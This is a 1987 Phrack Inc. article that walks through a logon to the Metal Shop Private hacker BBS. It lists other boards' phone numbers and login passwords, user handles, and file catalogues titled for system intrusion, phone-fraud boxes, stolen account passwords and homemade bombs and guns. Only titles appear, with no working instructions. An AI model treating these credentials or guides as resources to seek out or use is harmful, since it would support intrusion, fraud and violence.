March 1986 ‑ The Brewery becomes MSB, making the Metal Shop Triad; MSP changes gen. pw to up security due to busts on Phoenix Phortress from (PW was...) REQUIRED to MADHOUSE (Anthrax song)

March 26, 1986 ‑ Master Lock vs. Phrack Inc. situation arises

April 27, 1986 ‑ MS AE goes 40 megs

May 2, 1986 ‑ CS visited by FBI

May 10, 1986 ‑ Institutionalized therefore MSP downed on May 12

June 8, 1986 ‑ Telecomputist becomes a supported product of MSP

August 1986 ‑ Quick Shop goes up

March 1987 ‑ Quick Shop goes down

May 1987 ‑ CS & TK busted; MSP down forever

June 19‑21, 1987 ‑ SummerCon '87

July 21, 1987 ‑ Summer '87 busts

July 24‑26, 1987 ‑ PartyCon '87

July 22‑24, 1988 ‑ SummerCon '88

^*

Welcome To Metal Shop Private

==Phrack Inc.==

Volume Two, Issue 20, File 4 of 12

Welcome To Metal Shop Private

~~~~~~~~~~~~~~~

As a final farewell, we've decided to release what remained on Metal Shop Private at the time it went down. We regret that due to our misjudgement some of the messages were deleted because of the expiration date on the messages. The following is a run through of the whole board program as if you were logging on remotely. Various explainations for various parts of the board will be given in parentheses.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ACCOUNT: MADHOUSE (MADHOUSE was the general password in case you were not on the system.)

Once again...Welcome to:

_ _

| \/ |

|_||_|etal/ /hop

_________/

/__________

P R I V A T E

300/1200 Baud

24 hours a day, 7 days a week

We know YOU'RE coming to SummerCon...

RIGHT?

Enter number or name

NN: TARAN KING

PW: XXXXXXXX

PH: #‑#‑XXXX

(There was no new user password. Unless you had someone else's password, there was no way outside of applying for membership through me to get on the system)

Last few callers:

4869: Sir Francis Drake 56

4870: The Sensei 18

4871: The Sensei 18

4872: Knight Lightning 2

4873: Cheap Shades 3

You are caller 4874

Auto message by: Unknown User

Congratulations to the class of 1987...

now FUCK OFF!!!!! hmmm....

Name: Taran King 1

Time allowed on: 255

Last on : 07/28/87

T ‑ 4:14:55

Main > M

(At this point, we jumped to the message base and data‑captured all the messages into separate files. If you feel like maintaining continuity, read those files now.)

(We're back from the message base now.)

T ‑ 3:37:55

Main > ?

Main Menu Commands:

~~~~ ~~~~ ~

A:dd to BBS List B:BS List C:hat with Taran D:oors Menu (AE) E:‑Mail Menu F:iles Section K:ey Input Toggle L:og of the Day M:essage Base N:eed‑Acronyms Base O:utta Here S:tatus Menu V:oting Booth W:rite Auto Msg. X:‑pert ON/OFF ‑:Fast Log Off

T ‑ 3:37:45

Main > B

Boards List From...

_ _ _

| \/ | /

|_||_|etal/ /hop

_________/ /

/__________/

P R I V A T E (314)432‑0756

314‑432‑0756 Metal Shop Private (Sysop: Taran King)

314‑394‑8259 Metal Shop Brewery (Sysop: Beer Wolf)

201‑366‑4431 The Private Sector (Sysop: Private Sector) (Temporarily Down) 201‑837‑8504 The Radical Board (Sysop: The Radical)

215‑844‑8836 Lost City Of Atlantis (New: DIGITAL) (Sysop: The Lineman) 219‑322‑7266 The Private Connection (PW: PHOENIX) (Sysop: The Mad Hacker) 219‑659‑1503 ShadowSpawn (Login: JOB*FUCK) (Sysop: The Psychic Warlord) 301‑540‑3659 NetSys Unix (2400 Baud) (Sysop: Terminus) 301‑540‑3658 NetSys Unix (1200 Baud) (Sysop: Terminus) 301‑540‑3657 NetSys Unix (1200 Baud) (Sysop: Terminus) 301‑540‑3656 NetSys Unix (1200 Baud) (Sysop: Terminus) 304‑744‑2253 Pirate 80 (Sysop: Scan Man)

305‑395‑6906 Digital Logic's Data Service (New: DIGIT)(Sysop: Digital Logic) 313‑641‑9649 Phantasie Realm (Login: NEW 2nd Login: CANON) (Sysop: Ctrl C) 313‑851‑0912 Scan Line (New: SCANACO) (Sysop: The Scanner) 314‑921‑7938 Telecomputist Newsletter Newsline (Sysop: Forest Ranger) 415‑522‑3074 Speed Demon Private (Password: LEGACY) (Sysop: The Rocker) 616‑344‑2718 Thieve's World (Sysop: Thomas Covenant)

806‑799‑0016 Phreak Klass Room 2600 (PW: EDUCATE) (Sysop: The Egyptian Lover) 818‑993‑7422 The Abyss (New User Acct.=CAMA PW=CAROT) (Sysop: Dark Cavalier) 914‑LOG‑ONIT RACS III ‑ TUCBBS (Sysop: Tuc)

213‑559‑7306 Telecom & Sports Line (Sysop: Computer Wiz Kid)

T ‑ 3:37:32

Main > C

Sysop not available

Use Feedback instead.

E‑mail TARAN KING 1? No

T ‑ 3:37:13

Main > C

Reason: just for demonstration purposes

Chat call now on.

T ‑ 3:36:54

Main >

Sysop's here...

(The first is an example of the usual answer to trying to chat with TK... If you were lucky you might occasionally actually get to talk with him like this, but not often as he usually kept chat call off.)

Chat mode over...

Main > D

(This section of the board was installed to allow easy uploading of files for Phrack as well as regular g‑philes, etc. via AE).

T ‑ 3:36:45

Doors (,?,Q) > ?

N Description Used

== ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ===

1. AE TRANSFER PROGRAM 136

T ‑ 3:36:43

Doors (,?,Q) > Q

T ‑ 3:36:40

Main > E

T ‑ 3:36:36

E‑Mail> ?

E‑Mail Menu:

~~~~~~

F:eedback K:ill old mail M:ulti‑mail Q:uit R:ead mail S:end mail

T ‑ 3:36:33

E‑Mail> Q

T ‑ 3:36:30

Main > F

(All of the files found on the AE section were also available here with descriptions for downloading. The following is a list of the available files at the time that the board went down.)

Main Section

1: Hacking Philes

2: Phrack Inc.

3: Phrack Inc. II

4: Phreak Philes

5: Phreak Philes II

6: Series/Articles

Gfiles: (1‑6, ^0),L,Q : 1

Hacking Philes

1: The Basics of Hacking I‑III by TKOS

2: The Basics of Hacking:Intro by Dr.Pepper

3: Technical Hacking:Vol.I by The Warelock

4: Govt.Computer Security Techniques I

5: Govt.Computer Security Techniques II

6: Govt.Computer Security Techniques III

7: The Trojan Horse Method of Hacking

8: The Fine Art of Telesearching by Dragyn

9: Hacking RSTS by Sam Sneed

10: Hacking the RSTS/E System Volume I

11: Basic RSTS

12: RSTS Backdoors Part II by The Marauder

13: Hacking RSTS/E v9.X‑XX Vol.I by Marauder

14: Inside RSTS/E Volume I by The Marauder

15: Inside RSTS/E Volume II by The Marauder

16: Inside RSTS/E Volume VI by The Marauder

17: RSTS Chat Program

18: RSTS Terminal to Terminal Comm Program

19: PDP‑11 Basic Plus Programming by CEO

20: Introduction to the PDP‑10 with TOPS‑20

21: Hacking TOPS by Galactus and Blitziod

22: Notes on TOPS‑20 System by Blue Archer

23: A Beginner's Guide to Hacking Unix

24: Basic Unix Use by Lord Lawless

25: A Basic Guide to Hacking Unix by TEL

26: Unix ‑ Operating System of the Future

27: Unix Usage Notes by Striker

28: Unix Users' G‑Phile by The Line Breaker

29: Output from Unix's Fortune Program

30: Hacking VAX's VMS by Lex Luthor & LOD/H

31: Advanced Hacking VAX's VMS by Lex Luthor

32: Hacking VAX's VMS Part III by Lex Luthor

33: World of VAX

34: Hacking the HP2000 by BIOC Agent 003

35: Hacking the HP2000 Intro

36: Hacking the HP2000 Part I

37: Hacking the HP2000 Part II

38: Hacking the HP2000 Part III

39: Hacking the HP2000 Part IV

40: Hacking the HP2000 Part V

41: Hacking the HP3000 by TFA

42: Hacking the HP3000 by De Bug

43: Hacking the HP3000 by Galactus/Blitziod

44: Fun With Music by Ozzy Osbourne

45: Hacking SUNY's Prime‑Net by B. Banzai

46: Hacking Primos Systems ‑ Nanuk of the N.

47: Hacking Primos Vol. 1 by Codes Master

48: Hacking Primos Vol. 2 by Codes Master

49: Hacking Cosmos I‑II by Lex Luthor‑LOD/H

50: Cosmos Frame Training Manual by Loki

51: 1986 Cosmos Files Pt.I:Intro

52: 1986 Cosmos Files Pt.II:Facility Prefix

53: 1986 Cosmos Files Pt.III:Service Orders

54: Common Bell System Computers by F.Carson

55: Hacking TRW by Mark Hamill

56: TRW Address Formats by The Line Breaker

57: TRW Code Definitions by The Line Breaker

58: TRW Terminology by Master Blaster

59: Hacking Dun & Bradstreet by BIOC and TUC

60: Telenet Dir, Tutorial, & Term. ID's

61: The Telenet Connection: Int'l Accessing

62: Access to Telenet Via Int'l Telex

63: Hacking ARPAnet I by The Source

64: Hacking ARPAnet II by The Source

65: Hacking ARPAnet III by The Source

66: The Hackman's Arpanet Tutorial Part IV

67: Hacking ARPAnet V by The Source

68: Hacking ARPAnet VI by The Source

69: Hacking The Lexington Air Force Computer

70: Defense Data Network Blues by Baud Baron

71: The Ins and Outs of Packet Switching

72: How‑To‑Series: Hacking Tymnet

73: Tymnet Numbers from PhoneLine Phantoms

74: Hacking the IBM VM/370 By Another Hacker

75: IBM's System/370 by The Motorhead

76: Hacking VM/370 by Galactus and Blitziod

77: VMSSP Systems Part I by The Motorhead

78: VMSSP Systems Part II by The Motorhead

79: RSX11M Version.3x Real Time OpSys

80: RSX11M 4 Version 3.x by Terminus and LD

81: RSX11M 7 Version 3.x by Terminus and LD

82: The RSX‑11M File by The Omen

83: Exploring GEISCO by Boethius

84: FACS Facts by Sharp Razor

85: Chilton Corp. Credimatic by Ryche

86: Chilton Corp. Credimatic by Ryche Ver. 2

87: Hacking Bank Of America by Dark Creaper

88: Hacking Bank Of America Part II

89: Mini‑Dir to Dow Jones News/Retrieval

90: CompuServe Tips by Eric Diamond

91: Free CompuServe Passwords

92: A Basic Guide To The Source & CompuServe

93: The SCRATCH PAD Electronic Info System

94: The SCRATCH PAD System Part II

95: PACTIME Computers by Phone Bug

96: EasyLink Mail‑Grams Directory

97: Hacking WVNET

98: Hacking Alpha Systems by By‑Tor

99: Dartmouth Kiewit System by Lone Ranger

100: Hacking McDonalds Computer by Herb

101: Hacking Western Union's EasyLink by BIOC

102: Uninet Logon Procedures and Directory

103: Peacock Timeshare Systems by The Omen

104: Hacking Rampart Systems Pt.1 by TWCB

105: Hacking Rampart Systems Pt.2 by TWCB

106: International Hacking Notes by Reaper

107: Packet Networks by Mad Max of W. Germany

108: The Basics of Radio Hacking Part I

109: The Basics of Radio Hacking Part II

110: Government 800 Numbers

111: E/COM Directory: U.S. Postal Service

112: 314‑721‑4801 Network Fun by The Trapper

113: Toll Library Numbers by Shadow 2600

114: The 310 Pre‑Phix: Hacker's Paradise

115: Dial‑It Services by Scan Man

Gfiles: (1‑115, ^0),L,Q : Q

Gfiles: (1‑6, ^1),L,Q : 2

Phrack Inc.

1: Phrack I Introduction by Taran King

2: Hacking SAM's Dial‑Up Security

3: Boot Tracing Made Easy by Cheap Shades

4: The Phone Phreak's Fry‑Um Guide

5: Using MCI Calling Cards by KL

6: How to Pick Master Locks by Ninja and GF

7: Acetylene Balloon Bomb by Clashmaster

8: Schools & University Numbers

9: Phrack II Index by Taran King

10: Prevention of the Billing Office Blues

11: Homemade Guns by Man‑Tooth

12: How to Make Blow Darts by The Pyro

13: TAC Dialups by Phantom Phreaker

14: Total Universal Info Services Via ISDN

15: MCI Overview by Knight Lightning

16: The Hackers Guide to RSTS‑E 8.0

17: Phreak World News I by Knight Lightning

18: Phrack III Index by Cheap Shades

19: ROLM Profile by Monty Python

20: Shotgun Shell Bombs by Man‑Tooth

21: Signalling Systems Around the World

22: Private Audience by The Overlord (313)

23: Fortell Systems by Phantom Phreaker

24: Electronic Eavesdropper by Circle Lord

25: Making a Shock Rod by Circle Lord

26: Introduction to PBX's by KL

27: Phreak World News II by Knight Lightning

28: Phrack Pro‑Phile I on Crimson Death

29: Ringback Codes for the 314 NPA

30: False Identification by Forest Ranger

31: Profile of MAX Long Distance Service

32: Breaching and Clearing Obstacles by TK

33: Crashing DEC‑10's by The Mentor

34: Centrex Renaissance Pt.II by Sluggo

35: Homemade Speed by The Leftist

36: PWN III Part I by Knight Lightning

37: PWN III Part II by Knight Lightning

38: PWN III Part III by Knight Lightning

39: Intro to Phrack V by Taran King

40: Phrack Pro‑Phile II on Broadway Hacker

41: Hacking DEC's Part I by Carrier Culprit

42: Hand‑To‑Hand Combat by Bad Boy In Black

43: Digital Multiplex System (DMS) 100 by KL

44: Bolt Bombs by The Leftist

45: Wide‑Area Networks by Jester Sluggo

46: Short‑Wave Radio Hacking by The Seker

47: Mobile Telephone Communications

48: PWN IV Part I by Knight Lightning

49: PWN IV Part II by Knight Lightning

50: PWN IV Part III by Knight Lightning

51: Phrack VI Index by Taran King

52: Pro‑Phile on Groups by Knight Lightning

53: The Technical Revolution by Dr. Crash

54: How to Have Fun With a Bic by Leftist

55: Unix Nasties by Shooting Shark

56: Smoke Bomb by Alpine Kracker

57: Cellular Telephones by High Evolutionary

58: Wide‑Area Networks II by Jester Sluggo

59: PWN V Part I by Knight Lightning

60: PWN V Part II by Knight Lightning

61: PWN V Part III by Knight Lightning

62: PWN V Part IV by Knight Lightning

63: PWN V Part V by Knight Lightning

64: Phrack VII Index by Taran King

65: Phrack Pro‑Phile IV on Scan Man

66: Hacker's Manifesto by The Mentor

67: Hacking the Chilton Corp. Credimatic

68: Programming RSTS/E File1: Programming

69: American Dynamite by The Rocker

70: Unix Trojan Horses by Shooting Shark

71: PWN VI Part I by Knight Lightning

72: PWN VI Part II by Knight Lightning

73: PWN VI Part III by Knight Lightning

74: Phrack VIII Index by Taran King

75: Phrack Pro‑Phile V on Tuc by Taran King

76: City‑Wide Centrex by The Executioner

77: The Integrated Services Digital Network

78: The Art of Junction Box Modeming

79: Compuserve Info by Morgoth & Lotus

80: Fun with Automatic Tellers by Mentor

81: PWN VII Part I by Knight Lightning

82: PWN VII Part II by Knight Lightning

83: Intro to Phrack IX

84: Phrack Pro‑Phile 6

85: Fun With the Centagram VMS Network

86: Programming RSTS/E File2: Editors

87: Inside Dialog by Ctrl C

88: Plant Measurement by The Executioner

89: Multi‑User Chat Program for DEC‑10's

90: Introduction to Videoconferencing by KL

91: Loop Maintenance Operations System

92: PWN VIII by Knight Lightning

93: Phrack X Index by Taran King

94: Pro‑Phile VII on Dave Starr by TK

95: The TMC Primer by Cap'n Crax

96: A Beginner's Guide to IBM VM/370

97: Circuit Switched Digital Capability

98: Hacking Primos Part I by Evil Jay

99: ANI by Doom Prophet and Phantom Phreaker

100: Phrack World News IX Part I by KL

101: Phrack World News IX Part II by KL

102: Phrack XI Index by Taran King

103: Pro‑Phile VIII on Wizard of Arpanet

104: Prefix Access Code Translator by Exy

105: Hacking Voice Mail Systems

106: Simple Data Encryption by The Leftist

107: AIS ‑ Automatic Intercept System by TK

108: Hacking Primos I,II,III by Evil Jay

109: Telephone Signalling Methods by DP

110: Cellular Spoofing from Amadeus

111: Busy Line Verification by P.Phreaker

112: Phrack World News X by Knight Lightning

113: Phrack World News XI by Knight Lightning

114: Phrack XII Index by Taran King

115: Pro‑Phile IX on Agrajag The Prolonged

116: The Life & Times of The Executioner

117: Understanding DMS Part I by Control C

118: The Total Network Data System by DP

119: CSDC II ‑ Hardware Requirements by Exy

120: Hacking : OSL Systems by Evil Jay

121: Busy Line Verification Part II by PP

122: Scan Man's Rebuttal to PWN

123: Phrack World News XII Part I by KL

124: Phrack World News XII Part II by KL

Gfiles: (1‑124, ^0),L,Q : Q

Gfiles: (1‑6, ^2),L,Q : 3

Phrack Inc. II

1: Phrack 13 Index by Taran King

2: Real Phreaker's Guide Vol 2 by TK and KL

3: How to Fuck Up the World by UrLord

4: How to Build a Paisley Box by TC and DH

5: Phreaks In Verse by Sir Francis Drake

6: R.A.G. ‑ Rodents Are Gay by Evil Jay

7: Are You A Phone Geek? by Doom Prophet

8: Computerists Underground News Tabloid

9: RAGS ‑ The Best of Sexy Exy

10: Phrack World News XIII by KL

Gfiles: (1‑10, ^0),L,Q : Q

Gfiles: (1‑6, ^3),L,Q : 4

Phreak Philes

1: Better Homes and Blue Boxing Part I

2: Better Homes and Blue Boxing Part II

3: Better Homes and Blue Boxing Part III

4: The Art and Practice of Blue Boxing

5: 2600 Single Tone Generator

6: Portable Blue Box Plans by Ford Prefect

7: Blue Box Plans with XR‑2207 Chip

8: How to Build a Black Box + Mainframes

9: Red Boxing with Whistles by Researcher

10: White Box

11: Creation of a Silver Box by The Mace

12: Solid State Silver Boxes by Number Six

13: Clear Box

14: Into a Cheese Box by Sir Knight

15: The Green Box by Blue Buccaneer

16: Chrome Box Diagrams

17: Brown Box Plans by The Doc

18: Gold Box Plans by Sir William

19: How‑To‑Series Part III: Tron Box

20: How to Construct a Purple Box

21: The Conference Box by Madd Max

22: Bud Box Plans Revision 2.0

23: Introducing: The Beige Box

24: The Aqua Box by The Traveler

25: Bottle‑Nosed Dolphin Grey Box

26: The Rainbow Box: It Really Exists!

27: Make Your Dog Into A Cheesebox

28: Urine Box Plans

29: Scarlet Box Plans by The Pimp

30: The Sand Box from High Mountain Hackers

31: How to make a Pearl Box by Dr. D‑Code

32: Making The Lunch Box by Dr. D‑Code

33: Acrylic Box Plans by The Pimp

34: Crimson Box Plans by Dr. D‑Code

35: How to Build a Blotto Box

36: Building Your Own Switchboard

37: The Poor Man's 2600 Hertz by Sir Briggs

38: The Myth of the 2600 Hz Detector

39: Verification by Fred Steinbeck

40: Verification by Forest Ranger

41: Busy Verification Conference Circuit

42: How to 'Blue Box' into 'Russia'

43: Electronic Toll Fraud Devices

44: Boxtones by The Pyro

45: The Joy of "Boxing" by The Dragyn

46: Phree Calls by The Seker

47: Boxing Around the World by **Mob‑Rules**

48: Routing and System Codes Part I

49: Blue Boxing Numbers (1‑800's)

50: City Conference Computer by Tom Tone

51: Teleconferencing Phone Numbers

52: Essence of Telephone Conferencing

53: The World of Teleconferencing

54: Alliance Teleconferencing

55: The Call Waiting Tap by The Byte

56: Wiretapping by an Unknown Author

57: Tapping Computer Data is Easy

58: Pen‑Registering and Tracing

59: Bell Tones by Compy

60: Bell Hell Volume 1 by The Dutchman

61: Bell Hell Volume 2 by The Dutchman

62: Bell Hell Volume 3 by The Dutchman

63: Telephone & Communication Sabotage

64: Thrashing Ma... by Baby Demon

65: GTE Recordings... by Baby Demon

66: Carrier Identification Codes Listing

67: Equal Access Override Codes

68: Equal Access and Modem Autodialers

69: Page‑A‑Fone Beepers by Lefty Carlson

70: A Guide to A.D.S. Systems Part I

71: Exploring Caves in Travelnet

72: Calling Card Secrets from Pirate 80

73: Japan Embassy of the USSR by Mad Marvin

74: Transmission Test Line and Terminations

75: NWB's Infoline by The Sensei

76: Tones & Announcements "Description"

77: The Origin of Phreaking

78: The Phreaker's Bible by BIOC Agent 003

79: The Phreaker's Handbook by Cat‑Trax

80: Phreak Reading List '86 from CEO

81: The Fine Art of Scanning

82: Phun with Fortress Fones by Surf Rat

83: The Phun of International Calling

84: AT&T Newslines

85: CN/A, MCI, & Metrophone Directory

86: Accessing Numbers by The Arabian Knight

87: CN/A List by The Pyrite

88: The Complete ‑> 800 <‑ by The Traveler

89: The Truth Behind Those 9999 Numbers

90: How to Fight Sprint by Grandmaster Flash

91: AT&T International Dialing Country Codes

92: The Federal Black Pages by Line Breaker

93: The 976 Exchange

94: 950 Prefix by The Courier

95: The Phreaker's Guide to Loop Lines

96: The Book of 'Loops' from TuSwF

97: Loops

98: Understanding PBX Systems by The Sensei

99: Centrex Renaissance "The Technology"

100: Diverters: What They Are and How to Use

101: Intro to AUTOVON Pt. 1 by ShAdOwRuNnEr

102: Intro to AUTOVON Pt. 2 by ShAdOwRuNnEr

103: Intro to AUTOVON Pt. 3 by ShAdOwRuNnEr

104: AUTOVON Prefixes by ShAdOwRuNnEr

105: Your Rights as a Phone Phreak

106: Computer Fraud Laws by CEO

107: 2084: A Phone Odyssey

108: Home Phone Tips

109: General Phone Information by The Ace

110: Bell Special Intelligence Force

111: Basics of Telecommunications by KL

112: The History of Telecommunications by KL

113: The History of British Phreaking

114: USTA '86 by Executive Hacker/Pro.Phreak

115: Switching Equipment by The Diamond

116: ESS: Orwell's Prophecy from BIOC Agent 3

117: Electronic Switching Advances by BIOC

118: The History of ESS by Lex Luthor

119: Interesting Things to do on Step Lines

120: Tellabs' 7002 Dial Long Line Module

121: Tandems by Forest Ranger

122: Article on CLASS/LASS

123: LASS Features from Executioner of PLP

124: How To Use Call‑Waiting Cancel Feature

125: The Integrated Services Digital Network

126: ISDN Volume I by Zandar Zan

127: ISDN Volume II by Zandar Zan

128: Incoming Trunk Service Observing by Exy

129: Prefix Access Code Translater by Exy/PLP

130: Equal Access and the American Dream

131: The Relationship Between Carot & ROTL

132: TSPS Coin Control Signals by Scan Man

133: Coin Services by The (414) Wizard

134: ANI & ONI by The *ELITE* Phreakers Club

135: Radio Packet Frequencies

136: Picture Phone

137: AT&T Forgery by The Blue Buccaneer

138: Cellular Phreaking by The Bootlegger

139: Making & Taking Advantage of 3‑Way Fones

140: How to Listen in on Cordless Telephones

141: AT&T Remote Terminal Cabinets by Dr.Doom

142: Phucked Agent 04s Terminal Hardware File

143: The Craft Access Terminal from Tuc

144: Dealing with the Rate & Route Operator

145: Shadow 2600/Kid & Co.'s Chat w/a Lineman

146: TAS Lingo Simplified

147: Bell System Common Language by Sensei

148: The Bell Glossary by Mad Marvin

149: Just Some Telco Terms by Zandar Zan

150: A Little Something About Your Phone Co.

151: Something of Interest About the Telco

Gfiles: (1‑151, ^0),L,Q : Q

Gfiles: (1‑6, ^4),L,Q : 5

Phreak Philes II

1: Pink Box Plans by Einstein and AE Angel

2: Olive Box Plans by Arnold

3: The Neon Box by Mad Hatter

4: The Blast Box by Shadowhawk I

5: Mirror Box by Fatal Error

6: Frequency Generator by Captain Quieg

7: Handy Telephone Circuits by Eye‑No Phonz

8: How to Build a Linesman's Handset

9: Switching Systems by Terminus

10: Electronic Switching in the U.S.

11: Fiber Optics by Celtic Phrost

12: Basic Signaling by Asmodeus Rex

13: Network Transmission Notes by Terminus

14: Tone List by The Bootleg

15: The Equal Access Hacker's Guide

16: The Numbering Plan by Terminus

17: Using Diverters by Galactus and Blitziod

18: Understanding The Computer‑Based PBX

19: Understanding PBX Systems by Terminus

20: ROLM/NET by Celtic Phrost

21: Mobile Phone Repeaters by Bellcon

22: Illinois Bell Information Bulletin

23: The Phreak Chronicles: REMOBs

24: Fast Data Encryption by Spartacus

25: Merry Pranksters from BIOC Agent 003

26: International Numbers by The Comedian

Gfiles: (1‑26, ^0),L,Q : Q

Gfiles: (1‑6, ^5),L,Q : 6

Series/Articles

1: BIOC's Basic Telecom‑Table of Contents

2: BIOC's Basic Telecom I

3: BIOC's Basic Telecom II

4: BIOC's Basic Telecom III

5: BIOC's Basic Telecom IV

6: BIOC's Basic Telecom V

7: BIOC's Basic Telecom VI

8: BIOC's Basic Telecom VII

9: MCI Glossary Part I by Knight Lightning

10: MCI Glossary Part II by Knight Lightning

11: MCI Glossary Part III by Knight Lightning

12: MCI Glossary Part IV by Knight Lightning

13: MCI Glossary Part V by Knight Lightning

14: Syndicate Report Issue 1 by The Sensei

15: Syndicate Report Issue 2 by The Sensei

16: Syndicate Report Issue 3 by The Sensei

17: Syndicate Report Issue 4 by The Sensei

18: Syndicate Report Issue 5 by The Sensei

19: Syndicate Report Issue 6 by The Sensei

20: Syndicate Report Issue 7 by The Sensei

21: Syndicate Report Issue 8 by The Sensei

22: Syndicate Report Issue 9 by The Sensei

23: Syndicate Report Issue 10 by The Sensei

24: Syndicate Report Issue 11 by The Sensei

25: Telecom World Monthly I File 1

26: TWM I File 2 by The Specialist

27: TWM I File 3 by The Specialist

28: TWM I File 4 by The Specialist

29: TWM I File 5 by The Specialist

30: TWM I File 6 by The Specialist

31: TWM I File 7 by The Specialist

32: TWM I File 8 by The Specialist

33: TWM I File 9 by The Specialist

34: TWM I File 10 by The Specialist

35: TWM I File 11 by The Specialist

36: TWM I File 12 by The Specialist

37: TWM I File 13 by The Specialist

38: TWM I File 14 by The Specialist

39: TWM I File 15 by The Specialist

40: TWM I File 16 by The Specialist

41: TWM I File 17 by The Specialist

42: TWM II File 1 by The Specialist

43: TWM II File 2 by The Specialist

44: TWM II File 3 by The Specialist

45: TWM II File 4 by The Specialist

46: TWM II File 5 by The Specialist

47: TWM II File 6 by The Specialist

48: TWM II File 7 by The Specialist

49: TWM II File 8 by The Specialist

50: TWM II File 9 by The Specialist

51: TWM II File 10 by The Specialist

52: TWM II File 11 by The Specialist

53: TWM II File 12 by The Specialist

54: TWM II File 13 by The Specialist

55: TWM II File 14 by The Specialist

56: TWM II File 15 by The Specialist

57: TWM II File 16 by The Specialist

58: H.A.C.K. Volume I by Grey Wolf

59: H.A.C.K. Volume 2 by Grey Wolf

60: H.A.C.K. Volume 3 by Grey Wolf

61: H.A.C.K. Volume 5 by Grey Wolf

62: H.A.C.K. Volume 6 by Dr. Pepper

63: H.A.C.K. Volume 8 by Grey Wolf

64: H.A.C.K. Volume 9 by Grey Wolf

65: Phortune 500 Newsletter Issue 1

66: Phortune 500 Newsletter Issue 2

67: Telecom & Sports Newsletter 2

68: All Net Newsletter

69: Journal of Telecom: Contents and Info

70: Journal of Telecom: Bell Cabinets & Cans

71: Journal of Telecom: Implementing ISDN

72: Journal of Telecom: Telecom Times

73: Journal of Telecom: The Showroom

74: Journal of Telecom: Int'l Calling Guide

75: MetalliBashers Inc. FanZine 1

76: MetalliBashers Inc. FanZine 2

77: MetalliBashers Inc. FanZine 3

78: MetalliBashers Inc. FanZine 4

79: TAP Interviews by "The Infiltrator"

80: TAP Issue 27

81: Revenge of the Hackers Article

82: The Adventures of Captain Midnight

83: Further Adventures of Captain Midnight

Gfiles: (1‑83, ^0),L,Q : Q

Gfiles: (1‑6, ^6),L,Q : Q

T ‑ 3:33:50

Main > M

T ‑ 3:33:40

Metal/General Discussion : ?

Message Base Menu:

~~~~~~~ ~~

B:oard scan (new) C:hange board K:ill posts L:ist boards N:ew scan all subs P:ost message S:can board Q:uit

T ‑ 3:33:37

Metal/General Discussion : Q

T ‑ 3:33:36

Main > N

(This was a section called N:eed acronyms, which was a database of phreak/hack related acronyms. The users could contribute to it or use it as a reference (as shown below). The final list is also included in this final issue of Phrack.)

T ‑ 3:33:32

Acronyms> ?

Acronym Commands:

~~~~~~~ ~~

A:dd an acronym L:ist all acronyms S:earch for acronym Q:uit

T ‑ 3:33:30

Acronyms> S

Search for what ? BL

BLF Busy Line Field

BLS Business Listing Service

BLV Busy Line Verification

T ‑ 3:33:13

Acronyms> Q

T ‑ 3:33:11

Main > S

T ‑ 3:33:01

Status> ?

Status Menu:

~~~~~~

C:hange password D:efault settings M:acro change Q:uit to main U:serlist Y:our info

T ‑ 3:32:58

Status> Y

Your name : Taran King 1

Phone number : MSP‑314‑SLAY

Mail waiting : 0

Sec Lev : 255

Last on : 07/28/87

Times on : 1080

On today : 1

Messages posted: 272

E‑mail sent : 452

Messages : Validated

Backspacing : On

T ‑ 3:32:48

Status> U

AGRAJAG THE PROLONGED 53

ANONYMOUS MECHANIC 40

ARTHUR DENT 6

AX MURDERER 7

BEER WOLF 4

BILL FROM RNOC 44

BREW ASSOCIATES 9

CAP'N CRAX 10

CARRIER CULPRIT 11

CAT MAN 12

CHEAP SHADES 3

CIRCUIT BREAKER 5

COMPUTER WIZ KID 54

CONTROL C 8

CRIMSON DEATH 14

DATA DEMON 25

DATA LINE 16

DAVE STARR 35

DOOM PROPHET 21

ELRIC OF IMRRYR 37

EVIL JAY 26

FEYD RAUTHA 24

GARY SEVEN 55

HIGH EVOLUTIONARY 28

HIGHLANDER 45

ICARUS 15

JESTER SLUGGO 31

JOE COOL 32

KERRANG KHAN 34

KNIGHT LIGHTNING 2

LEX LUTHOR 36

LOD/H TECHNICAL JOURNAL 33

LORD FOUL 77

LOTUS 38

LUCIFER 666 43

MAD HATTER 51

MAD MAX 39

MARK TABAS 27

PANAMA RED 101

PHANTOM PHREAKER 46

PHREAKY FLOYD 30

PHUCKED AGENT 04 29

RANDY HOOPS 41

RANDY SMITH 42

REVEREND ENGE 48

RYCHE 49

S.K. ERICKSON 50

SALLY RIDE 52

SILVER SPY 57

SIR FRANCIS DRAKE 56

SLAVE DRIVER 58

TARAN KING 1

THE DISK JOCKEY 13

THE EGYPTIAN LOVER 93

THE EXECUTIONER 19

THE LEFTIST 71

THE LINEMAN 72

THE MAD HACKER 47

THE MARAUDER 22

THE MARK 73

THE MENTOR 74

THE PROPHET 23

THE SCANNER 20

THE SENSEI 18

THE SPECTRE 82

THOMAS COVENANT 84

TUC TUCBBS 86

VMS CONSULTANT 17

T ‑ 3:32:33

Status> Q

T ‑ 3:32:25

Main > U

(This is the U:ser Data Base which was used only by an exclusive group of sysops and co‑sysops of this and other boards. It included userlists and lists of members of various phreak/hack groups.)

T ‑ 3:32:21

D‑Base > ?

User Data Base Menu:

~~~~ ~~~~ ~

G:lobal string search L:ist boards or groups available P:rint 1 log/group Q:uit to main menu S:earch individually ?:This menu

T ‑ 3:32:16

D‑Base > L

Boards on file

1. HPO (92686)

2. Atlantis (92686)

3. Stalag 13 (92686)

4. The Abyss (92686)

5. Gates of Hell(92786)

6. Speed Demon (92986)

7. RACS III (11‑2‑86)

8. Catch‑22 (92386)

9. P‑80 (11‑2‑86)

10. ShadowSpawn(11‑2‑86)

11. FreeWorld 2(11‑3‑86)

12. Greek Inn (111686)

13. Priv.Sector(112486)

14. PK2600 (112186)

15. C0SMOS '84

16. Data Center(12‑1‑86)

17. Ripco (121186)

18. Brewery (121986)

19. Danger Zone (122086)

20. Quick Shop (122086)

21. HackerHaven (121486)

22. Thieve'sWorld (1214)

23. Hacks R Us (122486)

24. PhantasieRealm(41287

25. Stronghold E (32986)

26. Greenhouse (42187)

Groups on file

1. Metal Communications

2. Neon Knights

3. 2300 Club

4. Legion Of Hackers

5. Legion Of Doom

6. Lunatic Labs, UnLtd.

7. PhoneLine Phantoms

8. The Administration

9. Team Hackers

10. Tribunal Of Knowlege

11. The Punk Mafia

12. Red Dawn Text Files

13. Phrk/Hack Destroyers

